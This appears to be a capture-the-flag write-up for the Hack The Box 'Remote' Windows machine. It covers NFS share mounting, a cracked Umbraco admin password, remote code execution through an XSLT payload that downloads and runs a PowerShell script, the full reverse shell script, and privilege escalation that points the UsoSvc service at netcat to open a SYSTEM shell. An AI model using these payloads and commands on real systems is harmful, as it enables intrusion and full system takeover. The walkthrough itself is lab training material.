Remote is an easy Windows machine. An open NFS share allows you to get sources for the websute and get the administrator password. User access is retrieved through a remote command execution on the “Umbraco” CMS. Privilege escalation exploits the “UsoSvc” service to spawn an administrator shell and get access.
Disclaimer : It is a rather quick presentation that deliberately omits the various research areas. Only the actual results and a quick approach are presented.
Discovery / Enumeration
A quick port scan gives us running services on the machine.
Nmap scan report for 10.10.10.180
Host is up (0.073s latency).
Not shown: 9992 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3,4 2049/tcp nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/udp mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100024 1 2049/tcp status
|_ 100024 1 2049/udp status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
10000/tcp open snet-sensor-mgmt?
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=3/22%OT=21%CT=1%CU=30779%PV=Y%DS=2%DC=I%G=Y%TM=5E7771A
OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=103%TI=RD%CI=RD%II=I%TS=U)S
OS:EQ(SP=100%GCD=1%ISR=103%TI=I%CI=RD%TS=U)OPS(O1=M54DNW8NNS%O2=M54DNW8NNS%
OS:O3=M54DNW8%O4=M54DNW8NNS%O5=M54DNW8NNS%O6=M54DNNS)WIN(W1=FFFF%W2=FFFF%W3
OS:=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M54DNW8NNS%CC=Y
OS:%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%
OS:F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y
OS:%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%R
OS:D=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPC
OS:K=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: Randomized
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2m13s, deviation: 0s, median: 2m13s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-03-22 15:09:47
|_ start_date: N/A
NSE: Script Post-scanning.
Initiating NSE at 15:09
Completed NSE at 15:09, 0.00s elapsed
Initiating NSE at 15:09
Completed NSE at 15:09, 0.00s elapsed
NFS share and source code
First research is engaged toward the service behind the port 2049. Having never had to deal with this type of service before, some research was necessary.
It turns out that this port refers to NFS network shares. It is also possible to mount these shares from a Linux machine in order to access them.
For your information, from a Debian machine, it is necessary to install the nfs-common
package. Mounting is simply done with the mount
command.
Having no information about the path, we can try to mount the root.
$ sudo mount -t nfs 10.10.10.180:/ TMPMOUNT
It works ! Perfect, so we end up with a site_backup
directory containing the sources of what seems to be a website. Probably the site running on port 80 discovered before !
Moreover, sources tell us that it’s the Umbraco CMS.
$ cd TMPMOUNT
$ ls
site_backups
$ cd site_backups
$ ls
App_Browsers App_Data App_Plugins aspnet_client bin Config css default.aspx Global.asax Media scripts Umbraco Umbraco_Client Views Web.config
For simplicity and ease of use, it is advisable to copy the content of the share locally, to be more comfortable for analysis.
Once this is done, you can start searching for information. With the sources of the site available, we look for configuration files or files that may contain passwords.
Some quick queries over the Internet tell us that user account informations under Umbraco are stored in the Umbraco.sdf
file.
This one is quickly identified in the App_Data
directory.
$ pwd
xx/SITE_BACKUP/App_Data
$ ls
cache Logs Models packages TEMP umbraco.config Umbraco.sdf
$ file Umbraco.sdf
Umbraco.sdf: data
The file format not being directly recognized (it is a kind of database.) we will simply use the “Quick & Dirty” method to search for information, I invoke strings
! :D
By the way… This method works quite well, since we quickly identify, at the beginning of the file, informations we need !
$ strings Umbraco.sdf
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
@{pv
qpkaj
dAc0^A\pW
(1&a$
"q!Q
[...]
Several accounts, including the administrator account admin@htb.local
as well as a hash, probably for the password, in SHA-1 format. This algorithm is rather well known and not recommended today due to its lack of robustness. Several online services offer to try passwird recovering from a hash, by comparing it to huge databases.
If it is a weak password, the chances of success are high!
That’s how you recover a nice password :)
admin@htb.local
baconandcheese
Remote Code Execution & user shell
We are now able to work on the machine’s website. A quick look on the different pages does not reveal anything interesting. However, having the administrator login, we can connect to the interface (http://10.10.10.180/umbraco).
Then, I went to see if there were any known vulnerabilities and it turns out that an exploit for remote command execution was released last year, in 2019 (https://www.exploit-db.com/exploits/46153).
The only prerequisite, which we meet, is to have administrator access to the application.
The PoC presented in the exploit opens a calculator on the target machine. However, in our case, a reverse shell would be more appropriate ;).
Two variables are thus used :
- proc.StartInfo.Filename for the name of the binary to execute ;
- “cmd” to specify possible arguments.
Two ways of doing this. We could for example drop a netcat on the machine and then execute it in order to get a shell, but it is also possible to use Powershell. I chose that.
So we start by getting a Powershell reverse shell. I used the following It’s a rather simple and classic code, which can be found everywhere on the Internet. The only elements to adapt are the IP address and the port.
$socket = new-object System.Net.Sockets.TcpClient('10.10.14.5', 5577);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
$res = ""
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$args = "";
if($out.IndexOf(' ') -gt -1){
$args = $out.substring($out.IndexOf(' ')+1);
$out = $out.substring(0,$out.IndexOf(' '));
if($args.split(' ').length -gt 1){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()
In order to be able to download the script from the target, we’re going to host it on a temporary web server. The http.server
python module will be used for this.
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Then, we have to prepare the payload in order to reach the ps1 file and to execute it in memory. It is also necessary to set the account credentials.
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "IEX (New-Object Net.WebClient).DownloadString(\'http://10.10.14.5:8000/minireverse.ps1\')"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
</xsl:template> </xsl:stylesheet> ';
login = "admin@htb.local";
password="baconandcheese";
host = "http://10.10.10.180";
Once all the elements are ready, we run a netcat listener on our machine, then we run the python exploit. If everything works correctly, you should see a GET
request go through the web server logs.
# Shell 1
$ python3 46153.py
Start
[]
# Shell 2
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.180 - - [30/Mar/2020 13:42:05] "GET /minireverse.ps1 HTTP/1.1" 200 -
# Shell 3
$ nc -lvvp 5577
listening on [any] 5577 ...
10.10.10.180: inverse host lookup failed: Unknown host
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.180] 49902
b00m ! A sweet user shell ! :).
After user enumeration, we can get the first flag in the C:\Users\Public
folder.
Reconnaissance & Information gathering
Like for any good compromission path, the next step is to gather information about the machine to identify potential weaknesses. I took advantage of working on this machine to test a tool I heard of but had never used before, called winPEAS
(https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS). This is a binary that automates classic enumeration tasks for privilege escalation purposes.
Spoiler: the tool a amazing.
Just like the previous reverse shell, we will use a Python web server to drop the binary.
From our reverse shell, we are able to download the file directly and then execute it. For example, we can use a wget
directly from the Powershell interpreter.
However, a little trick.
In order to be able to execute the wget
, it is necessary to run the wget
as an argument to another powershell process, like this.
powershell.exe wget http://10.10.14.7:8000/winPEAS.exe -OutFile "C:\tmp\winpeas.exe"
Once it’s done, collecting can start ! The below output is truncated in order to only keep interesting parts.
.\winpeas.exe
[...]
[+] Basic System Information(T1082&T1124&T1012&T1497&T1212)
[?] Check if the Windows versions is vulnerable to some known exploit https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits
Hostname: remote
ProductName: Windows Server 2019 Standard
EditionID: ServerStandard
ReleaseId: 1809
BuildBranch: rs5_release
CurrentMajorVersionNumber: 10
CurrentVersion: 6.3
Architecture: AMD64
ProcessorCount: 4
SystemLang: en-US
KeyboardLang: English (United States)
TimeZone: (UTC-05:00) Eastern Time (US & Canada)
IsVirtualMachine: True
Current Time: 3/22/2020 12:35:20 PM
HighIntegrity: False
PartOfDomain: False
Hotfixes: KB4534119, KB4462930, KB4516115, KB4523204, KB4464455,
[?] Windows vulns search powered by Watson(https://github.com/rasta-mouse/Watson)
OS Build Number: 17763
[!] CVE-2019-0836 : VULNERABLE
[>] https://exploit-db.com/exploits/46718
[>] https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/
[!] CVE-2019-0841 : VULNERABLE
[>] https://github.com/rogue-kdc/CVE-2019-0841
[>] https://rastamousee/tags/cve-2019-0841/
[!] CVE-2019-1064 : VULNERABLE
[>] https://www.rythmstick.net/posts/cve-2019-1064/
[!] CVE-2019-1130 : VULNERABLE
[>] https://github.com/S3cur3Th1sSh1t/SharpByeBear
[!] CVE-2019-1253 : VULNERABLE
[>] https://github.com/padovah4ck/CVE-2019-1253
[!] CVE-2019-1315 : VULNERABLE
[>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html
[!] CVE-2019-1385 : VULNERABLE
[>] https://www.youtube.com/watch?v=K6gHnr-VkAg
[!] CVE-2019-1388 : VULNERABLE
[>] https://github.com/jas502n/CVE-2019-1388
[!] CVE-2019-1405 : VULNERABLE
[>] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
[...]
[+] Looking for AutoLogon credentials(T1012)
Some AutoLogon credentials were found!!
DefaultUserName : Administrator
[...]
[+] Modifiable Services(T1007)
[?] Check if you can modify any service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
LOOKS LIKE YOU CAN MODIFY SOME SERVICE/s:
UsoSvc: AllAccess, Start
[+] Looking if you can modify any service registry()
[?] Check if you can modify the registry of a service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services-registry-permissions
[-] Looks like you cannot change the registry of any service...
[+] Checking write permissions in PATH folders (DLL Hijacking)()
[?] Check for DLL Hijacking in PATH folders https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking
C:\Windows\system32
C:\Windows
C:\Windows\System32\Wbem
C:\Windows\System32\WindowsPowerShell\v1.0\
C:\Windows\System32\OpenSSH\
[...]
Privilege escalation and root flag
Although often additional steps are necessary, for this machine, the previous enumeration phase gives all the keys you need.
Indeed, it seems that the machine is sensitive to various kernel vulnerabilities. However, this is not the way we’re going to use.
It also seems that we have enough privilege to interact with the UsoSvc
service. Some Internet research quickly leads us to the CVE-2019-1322, which deals with the Update Orchestrator
service.
The main idea behind this is to be able to change the service’s configuration to a potentially malicious binary. After that, if we are able to restart the service, the configured binary will be executed when the service is started. It gets interesting when we know that our binary would be executed with SYSTEM
rights ;)
So we start by querying the service status.
sc query usosvc
SERVICE_NAME: usosvc
TYPE : 30 WIN32
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
then we can try to stop it, and checking now the status.
sc stop usosvc
SERVICE_NAME: usosvc
TYPE : 30 WIN32
STATE : 3 STOP_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x3
WAIT_HINT : 0x7530
sc query usosvc
SERVICE_NAME: usosvc
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
Perfect! Now, let’s update! The idea here is to execute a privileged reverse shell. So, using the same method as for the winPEAS
binary previously, we drop a netcat
on the machine.
Then, we update the configuration of the service so that it runs our netcat at boot time.
sc.exe config UsoSvc binpath="C:\tmp\nc64.exe 10.10.14.5 7788 -e cmd.exe"
[SC] ChangeServiceConfig SUCCESS
From the attacker machine, we set up a netcat listener and we can restart the service.
# Target
sc start usosvc
# Attacker
$ nc -lvvp 7788
listening on [any] 7788 ...
10.10.10.180: inverse host lookup failed: Unknown host
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.180] 49787
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
w00ted !